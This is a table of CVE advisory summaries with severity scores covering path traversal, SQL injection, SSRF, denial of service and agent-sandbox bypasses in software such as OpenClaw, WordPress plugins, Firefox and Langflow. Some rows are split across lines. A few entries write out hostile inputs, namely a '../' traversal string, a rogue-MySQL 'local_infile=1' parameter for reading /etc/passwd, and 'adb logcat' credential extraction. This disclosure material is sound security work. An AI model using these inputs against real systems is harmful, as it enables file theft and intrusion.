CVE-2026-32055	OpenClaw versions prior to 2026.2.26 contain a path traversal vulnerability in workspace boundary validation that allows attackers to write files outside the workspace through in-workspace symlinks pointing to non-existent out-of-root targets. The vulnerability exists because the boundary check improperly resolves aliases, permitting the first write operation to escape the workspace boundary and create files in arbitrary locations.	7.6	More Details
CVE-2019-25560	Lyric Video Creator 2.1 contains a denial of service vulnerability that allows attackers to crash the application by processing malformed MP3 files. Attackers can create a crafted MP3 file with an oversized buffer and trigger the crash by opening the file through the Browse song functionality.	7.5	More Details
CVE-2026-32666	WebCTRL systems that communicate over BACnet inherit the protocol's lack of network layer authentication. WebCTRL does not implement additional validation of BACnet traffic so an attacker with network access could spoof BACnet packets directed at either the WebCTRL server or associated AutomatedLogic controllers. Spoofed packets may be processed as legitimate.	7.5	More Details
CVE-2026-4373	The JetFormBuilder plugin for WordPress is vulnerable to arbitrary file read via path traversal in all versions up to, and including, 3.5.6.2. This is due to the 'Uploaded_File::set_from_array' method accepting user-supplied file paths from the Media Field preset JSON payload without validating that the path belongs to the WordPress uploads directory. Combined with an insufficient same-file check in 'File_Tools::is_same_file' that only compares basenames, this makes it possible for unauthenticated attackers to exfiltrate arbitrary local files as email attachments by submitting a crafted form request when the form is configured with a Media Field and a Send Email action with file attachment.	7.5	More Details
CVE-2019-25579	phpTransformer 2016.9 contains a directory traversal vulnerability that allows unauthenticated attackers to access arbitrary files by manipulating the path parameter. Attackers can send requests to the jQueryFileUploadmaster server endpoint with traversal sequences ../../../../../../ to list and retrieve files outside the intended directory.	7.5	More Details
CVE-2026-32056	OpenClaw versions prior to 2026.2.22 fail to sanitize shell startup environment variables HOME and ZDOTDIR in the system.run function, allowing attackers to bypass command allowlist protections. Remote attackers can inject malicious startup files such as .bash_profile or .zshenv to achieve arbitrary code execution before allowlist-evaluated commands are executed.	7.5	More Details
CVE-2026-32025	OpenClaw versions prior to 2026.2.25 contain an authentication hardening gap in browser-origin WebSocket clients that allows attackers to bypass origin checks and auth throttling on loopback deployments. An attacker can trick a user into opening a malicious webpage and perform password brute-force attacks against the gateway to establish an authenticated operator session and invoke control-plane methods.	7.5	More Details
CVE-2019-25552	CEWE PHOTO SHOW 6.4.3 contains a denial of service vulnerability that allows attackers to crash the application by submitting an excessively long buffer to the password field. Attackers can paste a large string of repeated characters into the password input during the upload process to trigger an application crash.	7.5	More Details
CVE-2026-2468	The Quentn WP plugin for WordPress is vulnerable to SQL Injection via the 'qntn_wp_access' cookie in all versions up to, and including, 1.2.12. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query in the `get_user_access()` method. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	7.5	More Details
CVE-2026-3547	Out-of-bounds read in ALPN parsing due to incomplete validation. wolfSSL 5.8.4 and earlier contained an out-of-bounds read in ALPN handling when built with ALPN enabled (HAVE_ALPN / --enable-alpn). A crafted ALPN protocol list could trigger an out-of-bounds read, leading to a potential process crash (denial of service). Note that ALPN is disabled by default, but is enabled for these 3rd party compatibility features: enable-apachehttpd, enable-bind, enable-curl, enable-haproxy, enable-hitch, enable-lighty, enable-jni, enable-nginx, enable-quic.	7.5	More Details
CVE-2026-32011	OpenClaw versions prior to 2026.3.2 contain a denial of service vulnerability in webhook handlers for BlueBubbles and Google Chat that parse request bodies before performing authentication and signature validation. Unauthenticated attackers can exploit this by sending slow or oversized request bodies to exhaust parser resources and degrade service availability.	7.5	More Details

CVE-2026-4602	Versions of the package jsrsasign before 11.1.1 are vulnerable to Incorrect Conversion between Numeric Types due to handling negative exponents in ext/jsbn2.js. An attacker can force the computation of incorrect modular inverses and break signature verification by calling modPow with a negative exponent.	7.5	More Details
CVE-2026-29097	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Versions prior to 7.15.1 and 8.9.3 contain a Server-Side Request Forgery (SSRF) vulnerability combined with a Denial of Service (DoS) condition in the RSS Feed Dashlet component. Versions 7.15.1 and 8.9.3 patch the issue.	7.5	More Details
CVE-2026-4598	Versions of the package jsrsasign before 11.1.1 are vulnerable to Infinite loop via the bnModInverse function in ext/jsbn2.js when the BigInteger.modInverse implementation receives zero or negative inputs, allowing an attacker to hang the process permanently by supplying such crafted values (e.g., modInverse(0, m) or modInverse(-1, m)).	7.5	More Details
CVE-2019-25613	Easy Chat Server 3.1 contains a denial of service vulnerability that allows remote attackers to crash the application by sending oversized data in the message parameter. Attackers can establish a session via the chat.ghp endpoint and then send a POST request to body2.ghp with an excessively large message parameter value to cause the service to crash.	7.5	More Details
CVE-2026-33427	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, an unauthenticated attacker can cause a legitimate Discourse authorization page to display an attacker-controlled domain, facilitating social engineering attacks against users. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	7.5	More Details
CVE-2026-29072	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, users who do not belong to the allowed policy creation groups can create functional policy acceptance widgets in posts under the right conditions. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. As a workaround, disable the discourse-policy plugin by disabling the `policy_enabled` site setting.	7.5	More Details
CVE-2026-32875	UltraJSON is a fast JSON encoder and decoder written in pure C with bindings for Python 3.7+. Versions 5.10 through 5.11.0 are vulnerable to buffer overflow or infinite loop through large indent handling. ujson.dumps() crashes the Python interpreter (segmentation fault) when the product of the indent parameter and the nested depth of the input exceeds INT32_MAX. It can also get stuck in an infinite loop if the indent is a large negative number. Both are caused by an integer overflow/underflow whilst calculating how much memory to reserve for indentation. And both can be used to achieve denial of service. To be vulnerable, a service must call ujson.dump()/ujson.dumps()/ujson.encode() whilst giving untrusted users control over the indent parameter and not restrict that indentation to reasonably small non-negative values. A service may also be vulnerable to the infinite loop if it uses a fixed negative indent. An underflow always occurs for any negative indent when the input data is at least one level nested but, for small negative indents, the underflow is usually accidentally rectified by another overflow. This issue has been fixed in version 5.12.0.	7.5	More Details
CVE-2026-2580	The WP Maps – Store Locator,Google Maps,OpenStreetMap,Mapbox,Listing,Directory & Filters plugin for WordPress is vulnerable to time-based SQL Injection via the ‘orderby’ parameter in all versions up to, and including, 4.9.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	7.5	More Details
CVE-2026-32874	UltraJSON is a fast JSON encoder and decoder written in pure C with bindings for Python 3.7+. Versions 5.4.0 through 5.11.0 contain an accumulating memory leak in JSON parsing large (outside of the range [-2^63, 2^64 - 1]) integers. The leaked memory is a copy of the string form of the integer plus an additional NULL byte. The leak occurs irrespective of whether the integer parses successfully or is rejected due to having more than sys.get_int_max_str_digits() digits, meaning that any sized leak per malicious JSON can be achieved provided that there is no limit on the overall size of the payload. Any service that calls ujson.load()/ujson.loads()/ujson.decode() on untrusted inputs is affected and vulnerable to denial of service attacks. This issue has been fixed in version 5.12.0.	7.5	More Details
CVE-2026-32048	OpenClaw versions prior to 2026.3.1 fail to enforce sandbox inheritance during cross-agent sessions_spawn operations, allowing sandboxed sessions to create child processes under unsandboxed agents. An attacker with a sandboxed session can exploit this to spawn child runtimes with sandbox.mode set to off, bypassing runtime confinement restrictions.	7.5	More Details
CVE-2026-32873	ewe is a Gleam web server. Versions 0.8.0 through 3.0.4 contain a bug in the handle_trailers function where rejected trailer headers (forbidden or undeclared) cause an infinite loop. When handle_trailers encounters such a trailer, three code paths (lines 520, 523, 526) recurse with the original buffer (rest) instead of advancing past the rejected header (Buffer(header_rest, 0)), causing decoder.decode_packet to re-parse the same header on every iteration. The resulting loop has no timeout or escape — the BEAM process permanently wedges at 100% CPU. Any application that calls ewe.read_body on chunked requests is affected, and this is exploitable by any unauthenticated remote client before control returns to application code, making an application-level workaround impossible. This issue is fixed in version 3.0.5.	7.5	More Details
CVE-2026-	SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the WebSocket endpoint (/ws) allows unauthenticated connections when specific URL parameters are provided (?app=siyuan&id=auth&type=auth). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server	7.5	More

32815	push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users. Combined with the absence of Origin header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity. This issue has been fixed in version 3.6.1.		Details
CVE-2026-32049	OpenClaw versions prior to 2026.2.22 fail to consistently enforce configured inbound media byte limits before buffering remote media across multiple channel ingestion paths. Remote attackers can send oversized media payloads to trigger elevated memory usage and potential process instability.	7.5	More Details
CVE-2026-32933	AutoMapper is a convention-based object-object mapper in .NET. Versions prior to 15.1.1 and 16.1.1 are vulnerable to a Denial of Service (DoS) attack. When mapping deeply nested object graphs, the library uses recursive method calls without enforcing a default maximum depth limit. This allows an attacker to provide a specially crafted object graph that exhausts the thread's stack memory, triggering a `StackOverflowException` and causing the entire application process to terminate. Versions 15.1.1 and 16.1.1 fix the issue.	7.5	More Details
CVE-2026-33292	WWBN AVideo is an open source video platform. Prior to version 26.0, the HLS streaming endpoint (`view/hls.php`) is vulnerable to a path traversal attack that allows an unauthenticated attacker to stream any private or paid video on the platform. The `videoDirectory` GET parameter is used in two divergent code paths — one for authorization (which truncates at the first `/` segment) and one for file access (which preserves `..` traversal sequences) — creating a split-oracle condition where authorization is checked against one video while content is served from another. Version 26.0 contains a fix for the issue.	7.5	More Details
CVE-2019-25605	EquityPandit 1.0 contains an insecure logging vulnerability that allows attackers to capture sensitive user credentials by accessing developer console logs via Android Debug Bridge. Attackers can use adb logcat to extract plaintext passwords logged during the forgot password function, exposing user account credentials.	7.5	More Details
CVE-2026-4306	The WP Job Portal plugin for WordPress is vulnerable to SQL Injection via the 'radius' parameter in all versions up to, and including, 2.4.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	7.5	More Details
CVE-2026-33307	Mod_gnutls is a TLS module for Apache HTTPD based on GnuTLS. In versions prior to 0.12.3 and 0.13.0, code for client certificate verification imported the certificate chain sent by the client into a fixed size `gnutls_x509_crt_t x509[]` array without checking the number of certificates is less than or equal to the array size. `gnutls_x509_crt_t` is a `typedef` for a pointer to an opaque GnuTLS structure created using with `gnutls_x509_crt_init()` before importing certificate data into it, so no attacker-controlled data was written into the stack buffer, but writing a pointer after the last array element generally triggered a segfault, and could theoretically cause stack corruption otherwise (not observed in practice). Server configurations that do not use client certificates (`GnuTLSClientVerify ignore`, the default) are not affected. The problem has been fixed in version 0.12.3 by checking the length of the provided certificate chain and rejecting it if it exceeds the buffer length, and in version 0.13.0 by rewriting certificate verification to use `gnutls_certificate_verify_peers()`, removing the need for the buffer entirely. There is no workaround. Version 0.12.3 provides the minimal fix for users of 0.12.x who do not wish to upgrade to 0.13.0 yet.	7.5	More Details
CVE-2026-33852	Missing Release of Memory after Effective Lifetime vulnerability in MolotovCherry Android-ImageMagick7.This issue affects Android-ImageMagick7: before 7.1.2-11.	7.5	More Details
CVE-2026-4699	Incorrect boundary conditions in the Layout: Text and Fonts component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details
CVE-2026-4697	Incorrect boundary conditions in the Audio/Video: Web Codecs component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details
CVE-2026-4695	Incorrect boundary conditions in the Audio/Video: Web Codecs component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details
CVE-2026-4693	Incorrect boundary conditions in the Audio/Video: Playback component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details
CVE-2026-32609	Glances is an open-source system cross-platform monitoring tool. The GHSA-gh4x fix (commit 5d3de60) addressed unauthenticated configuration secrets exposure on the `/api/v4/config` endpoints by introducing `as_dict_secure()` redaction. However, the `/api/v4/args` and `/api/v4/args/{item}` endpoints were not addressed by this fix. These endpoints return the complete command-line arguments namespace via `vars(self.args)`, which includes the password hash (salt + pbkdf2_hmac), SNMP community strings, SNMP authentication keys, and the configuration file path. When Glances runs without `--password` (the default), these endpoints are accessible without any authentication. Version 4.5.2 provides a more complete fix.	7.5	More Details
CVE-2026-4686	Incorrect boundary conditions in the Graphics: Canvas2D component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details

CVE-2026-4685	Incorrect boundary conditions in the Graphics: Canvas2D component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details
CVE-2026-33002	Jenkins 2.442 through 2.554 (both inclusive), LTS 2.426.3 through LTS 2.541.2 (both inclusive) performs origin validation of requests made through the CLI WebSocket endpoint by computing the expected origin for comparison using the Host or X-Forwarded-Host HTTP request headers, making it vulnerable to DNS rebinding attacks that allow bypassing origin validation.	7.5	More Details
CVE-2026-4684	Race condition, use-after-free in the Graphics: WebRender component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details
CVE-2026-30345	A zip slip vulnerability in the Admin import functionality of CTFd v3.8.1-18-gdb5a18c4 allows attackers to write arbitrary files outside the intended directories via supplying a crafted import.	7.5	More Details
CVE-2026-3509	An unauthenticated remote attacker may be able to control the format string of messages processed by the Audit Log of the CODESYS Control runtime system, potentially resulting in a denial-of-service (DoS) condition.	7.5	More Details
CVE-2026-33856	Missing Release of Memory after Effective Lifetime vulnerability in MolotovCherry Android-ImageMagick7.This issue affects Android-ImageMagick7: before 7.1.2-11.	7.5	More Details
CVE-2026-4706	Incorrect boundary conditions in the Graphics: Canvas2D component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details
CVE-2026-27135	nghttp2 is an implementation of the Hypertext Transfer Protocol version 2 in C. Prior to version 1.68.1, the nghttp2 library stops reading the incoming data when user facing public API `nghttp2_session_terminate_session` or `nghttp2_session_terminate_session2` is called by the application. They might be called internally by the library when it detects the situation that is subject to connection error. Due to the missing internal state validation, the library keeps reading the rest of the data after one of those APIs is called. Then receiving a malformed frame that causes FRAME_SIZE_ERROR causes assertion failure. nghttp2 v1.68.1 adds missing state validation to avoid assertion failure. No known workarounds are available.	7.5	More Details
CVE-2026-29856	An issue in the VirtualHost configuration handling/parser component of aaPanel v7.57.0 allows attackers to cause a Regular Expression Denial of Service (ReDoS) via a crafted input.	7.5	More Details
CVE-2026-29858	A lack of path validation in aaPanel v7.57.0 allows attackers to execute a local file inclusion (LFI), leadingot sensitive information exposure.	7.5	More Details
CVE-2026-4662	The JetEngine plugin for WordPress is vulnerable to SQL Injection via the `listing_load_more` AJAX action in all versions up to, and including, 3.8.6.1. This is due to the `filtered_query` parameter being excluded from the HMAC signature validation (allowing attacker-controlled input to bypass security checks) combined with the `prepare_where_clause()` method in the SQL Query Builder not sanitizing the `compare` operator before concatenating it into SQL statements. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database, provided the site has a JetEngine Listing Grid with Load More enabled that uses a SQL Query Builder query.	7.5	More Details
CVE-2026-4640	Vitals ESP developed by Galaxy Software Services has a Missing Authentication vulnerability, allowing unauthenticated remote attackers to execute certain functions to obtain sensitive information.	7.5	More Details
CVE-2026-31964	HTSlib is a library for reading and writing bioinformatics file formats. CRAM is a compressed format which stores DNA sequence alignment data using a variety of encodings and compression methods. While most alignment records store DNA sequence and quality values, the format also allows them to omit this data in certain cases to save space. Due to some quirks of the CRAM format, it is necessary to handle these records carefully as they will actually store data that needs to be consumed and then discarded. Unfortunately the `CONST`, `XPACK` and `XRLE` encodings did not properly implement the interface needed to do this. Trying to decode records with omitted sequence or quality data using these encodings would result in an attempt to write to a NULL pointer. Exploiting this bug causes a NULL pointer dereference. Typically this will cause the program to crash. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue.	7.5	More Details
CVE-2026-31973	SAMtools is a program for reading, manipulating and writing bioinformatics file formats. Starting in version 1.17, in the cram-size command, used to write information about how well CRAM files are compressed, a check to see if the `cram_decode_compression_header()` was missing. If the function returned an error, this could lead to a NULL pointer dereference. Exploiting this bug causes a NULL pointer dereference. Typically this will cause the program to crash. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue.	7.5	More Details

CVE-2026-33069	PJSIP is a free and open source multimedia communication library written in C. Versions 2.16 and below have a cascading out-of-bounds heap read in pjsip_multipart_parse(). After boundary string matching, curptr is advanced past the delimiter without verifying it has not reached the buffer end. This allows 1-2 bytes of adjacent heap memory to be read. All applications that process incoming SIP messages with multipart bodies or SDP content are potentially affected. This issue is resolved in version 2.17.	7.5	More Details
CVE-2026-32701	Qwik is a performance-focused JavaScript framework. Versions prior to 1.19.2 improperly inferred arrays from dotted form field names during FormData parsing. By submitting mixed array-index and object-property keys for the same path, an attacker could cause user-controlled properties to be written onto values that application code expected to be arrays. When processing application/x-www-form-urlencoded or multipart/form-data requests, Qwik City converted dotted field names (e.g., items.0, items.1) into nested structures. If a path was interpreted as an array, additional attacker-supplied keys on that path—such as items.toString, items.push, items.valueOf, or items.length—could alter the resulting server-side value in unexpected ways, potentially leading to request handling failures, denial of service through malformed array state or oversized lengths, and type confusion in downstream code. This issue was fixed in version 1.19.2.	7.5	More Details
CVE-2026-33143	OneUptime is a solution for monitoring and managing online services. Prior to version 10.0.34, the WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks. This issue has been patched in version 10.0.34.	7.5	More Details
CVE-2026-32949	SQLBot is an intelligent data query system based on a large language model and RAG. Versions prior to 1.7.0 contain a Server-Side Request Forgery (SSRF) vulnerability that allows an attacker to retrieve arbitrary system and application files from the server. An attacker can exploit the /api/v1/datasource/check endpoint by configuring a forged MySQL data source with a malicious parameter extraJdbc="local_infile=1". When the SQLBot backend attempts to verify the connectivity of this data source, an attacker-controlled Rogue MySQL server issues a malicious LOAD DATA LOCAL INFILE command during the MySQL handshake. This forces the target server to read arbitrary files from its local filesystem (such as /etc/passwd or configuration files) and transmit the contents back to the attacker. This issue was fixed in version 1.7.0.	7.5	More Details
CVE-2026-4704	Denial-of-service in the WebRTC: Signaling component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details
CVE-2026-4707	Incorrect boundary conditions in the Graphics: Canvas2D component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details
CVE-2026-32886	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.24 and 8.6.47, remote clients can crash the Parse Server process by calling a cloud function endpoint with a crafted function name that traverses the JavaScript prototype chain of a registered cloud function handler, causing a stack overflow. The fix in versions 9.6.0-alpha.24 and 8.6.47 restricts property lookups during cloud function name resolution to own properties only, preventing prototype chain traversal from stored function handlers. There is no known workaround.	7.5	More Details
CVE-2026-32596	Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.2, Glances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client. Version 4.5.2 fixes the issue.	7.5	More Details
CVE-2026-24158	NVIDIA Triton Inference Server contains a vulnerability in the HTTP endpoint where an attacker may cause a denial of service by providing a large compressed payload. A successful exploit of this vulnerability may lead to denial of service.	7.5	More Details
CVE-2026-27979	Next.js is a React framework for building full-stack web applications. Starting in version 16.0.1 and prior to version 16.1.7, a request containing the `next-resume: 1` header (corresponding with a PPR resume request) would buffer request bodies without consistently enforcing `maxPostponedStateSize` in certain setups. The previous mitigation protected minimal-mode deployments, but equivalent non-minimal deployments remained vulnerable to the same unbounded postponed resume-body buffering behavior. In applications using the App Router with Partial Prerendering capability enabled (via `experimental.ppr` or `cacheComponents`), an attacker could send oversized `next-resume` POST payloads that were buffered without consistent size enforcement in non-minimal deployments, causing excessive memory usage and potential denial of service. This is fixed in version 16.1.7 by enforcing size limits across all postponed-body buffering paths and erroring when limits are exceeded. If upgrading is not immediately possible, block requests containing the `next-resume` header, as this is never valid to be sent from an untrusted client.	7.5	More Details
CVE-2026-27980	Next.js is a React framework for building full-stack web applications. Starting in version 10.0.0 and prior to version 16.1.7, the default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth. An attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service. This is fixed in version 16.1.7 by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. If upgrading is not immediately possible,	7.5	More Details

	periodically clean `.next/cache/images` and/or reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`).		
CVE-2025-33254	NVIDIA Triton Inference Server contains a vulnerability where an attacker may cause internal state corruption. A successful exploit of this vulnerability may lead to a denial of service.	7.5	More Details
CVE-2025-33238	NVIDIA Triton Inference Server Sagemaker HTTP server contains a vulnerability where an attacker may cause an exception. A successful exploit of this vulnerability may lead to denial of service.	7.5	More Details
CVE-2026-33509	pyLoad is a free and open-source download manager written in Python. From version 0.4.0 to before version 0.5.0b3.dev97, the set_config_value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set_config_value() is a hardcoded check for general.storage_folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction. This issue has been patched in version 0.5.0b3.dev97.	7.5	More Details
CVE-2026-33680	Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.2, the `LinkSharing.ReadAll()` method allows link share authenticated users to list all link shares for a project, including their secret hashes. While `LinkSharing.CanRead()` correctly blocks link share users from reading individual shares via `ReadOne`, the `ReadAllWeb` handler bypasses this check by never calling `CanRead()`. An attacker with a read-only link share can retrieve hashes for write or admin link shares on the same project and authenticate with them, escalating to full admin access. Version 2.2.2 patches the issue.	7.5	More Details
CVE-2026-29112	DiceBear is an avatar library for designers and developers. Prior to version 9.4.0, the `ensureSize()` function in `@dicebear/converter` read the `width` and `height` attributes from the input SVG to determine the output canvas size for rasterization (PNG, JPEG, WebP, AVIF). An attacker who can supply a crafted SVG with extremely large dimensions (e.g. `width="999999999"`) could force the server to allocate excessive memory, leading to denial of service. This primarily affects server-side applications that pass untrusted or user-supplied SVGs to the converter's `toPng()`, `toJpeg()`, `toWebp()`, or `toAvif()` functions. Applications that only convert self-generated DiceBear avatars are not practically exploitable, but are still recommended to upgrade. This is fixed in version 9.4.0. The `ensureSize()` function no longer reads SVG attributes to determine output size. Instead, a new `size` option (default: 512, max: 2048) controls the output dimensions. Invalid values (NaN, negative, zero, Infinity) fall back to the default. If upgrading is not immediately possible, validate and sanitize the `width` and `height` attributes of any untrusted SVG input before passing it to the converter.	7.5	More Details
CVE-2026-30922	pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with "Indefinite Length" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.	7.5	More Details
CVE-2026-32256	music-metadata is a metadata parser for audio and video media files. Prior to version 11.12.3, music-metadata's ASF parser (`parseExtensionObject()` in `lib/asf/AsfParser.ts:112-158`) enters an infinite loop when a sub-object inside the ASF Header Extension Object has `objectSize = 0`. Version 11.12.3 fixes the issue.	7.5	More Details
CVE-2026-33554	ipmi-oem in FreeIPMI before 1.16.17 has exploitable buffer overflows on response messages. The Intelligent Platform Management Interface (IPMI) specification defines a set of interfaces for platform management. It is implemented by a large number of hardware manufacturers to support system management. It is most commonly used for sensor reading (e.g., CPU temperatures through the ipmi-sensors command within FreeIPMI) and remote power control (the ipmipower command). The ipmi-oem client command implements a set of a IPMI OEM commands for specific hardware vendors. If a user has supported hardware, they may wish to use the ipmi-oem command to send a request to a server to retrieve specific information. Three subcommands were found to have exploitable buffer overflows on response messages. They are: "ipmi-oem dell get-last-post-code - get the last POST code and string describing the error on some Dell servers," "ipmi-oem supermicro extra-firmware-info - get extra firmware info on Supermicro servers," and "ipmi-oem wistron read-proprietary-string - read a proprietary string on Wistron servers."	7.5	More Details
CVE-2026-33128	H3 is a minimal H(TTP) framework. In versions prior to 1.15.6 and between 2.0.0 through 2.0.1-rc.14, createEventStream is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients. This issue is fixed in versions 1.15.6 and 2.0.1-rc.15.	7.5	More Details
CVE-2026-4708	Incorrect boundary conditions in the Graphics component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details
CVE-	An issue in Free5GC v.4.2.0 and before allows a remote attacker to cause a denial of service via the function		More

2026-30653	HandleAuthenticationFailure of the component AMF	7.5	Details
CVE-2026-27651	When the ngx_mail_auth_http_module module is enabled on NGINX Plus or NGINX Open Source, undisclosed requests can cause worker processes to terminate. This issue may occur when (1) CRAM-MD5 or APOP authentication is enabled, and (2) the authentication server permits retry by returning the Auth-Wait response header. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.	7.5	More Details
CVE-2026-33497	Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.1, in the download_profile_picture function of the /profile_pictures/{folder_name}/{file_name} endpoint, the folder_name and file_name parameters are not strictly filtered, which allows the secret_key to be read across directories. Version 1.7.1 contains a patch.	7.5	More Details
CVE-2026-33484	Langflow is a tool for building and deploying AI-powered agents and workflows. In versions 1.0.0 through 1.8.1, the `/api/v1/files/images/{flow_id}/{file_name}` endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200. In a multi-tenant deployment, any attacker who can discover or guess a `flow_id` (UUIDs can be leaked through other API responses) can download any user's uploaded images without credentials. Version 1.9.0 contains a patch.	7.5	More Details
CVE-2026-33418	DiceBear is an avatar library for designers and developers. Prior to version 9.4.2, the `ensureSize()` function in `@dicebear/converter` used a regex-based approach to rewrite SVG `width`/`height` attributes, capping them at 2048px to prevent denial of service. This size capping could be bypassed by crafting SVG input that causes the regex to match a non-functional occurrence of `<svg` before the actual SVG root element. When the SVG is subsequently rendered via `@resvg/resvg-js` on the Node.js code path, it renders at the attacker-specified dimensions, potentially causing out-of-memory crashes. In version 9.4.2, the regex-based approach has been replaced with XML-aware processing using `fast-xml-parser` to correctly identify and modify the SVG root element's attributes. Additionally, a `fitTo` constraint has been added to the `renderAsync` call as defense-in-depth, ensuring the rendered output is always bounded regardless of SVG content.	7.5	More Details
CVE-2026-4437	Calling gethostbyaddr or gethostbyaddr_r with a configured nsswitch.conf that specifies the library's DNS backend in the GNU C Library version 2.34 to version 2.43 could, with a crafted response from the configured DNS server, result in a violation of the DNS specification that causes the application to treat a non-answer section of the DNS response as a valid answer.	7.5	More Details
CVE-2026-4719	Incorrect boundary conditions in the Graphics: Text component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details
CVE-2026-4714	Incorrect boundary conditions in the Audio/Video component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details
CVE-2026-4713	Incorrect boundary conditions in the Graphics component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details
CVE-2026-4712	Information disclosure in the Widget: Cocoa component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details
CVE-2026-4709	Incorrect boundary conditions in the Audio/Video: GMP component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	7.5	More Details
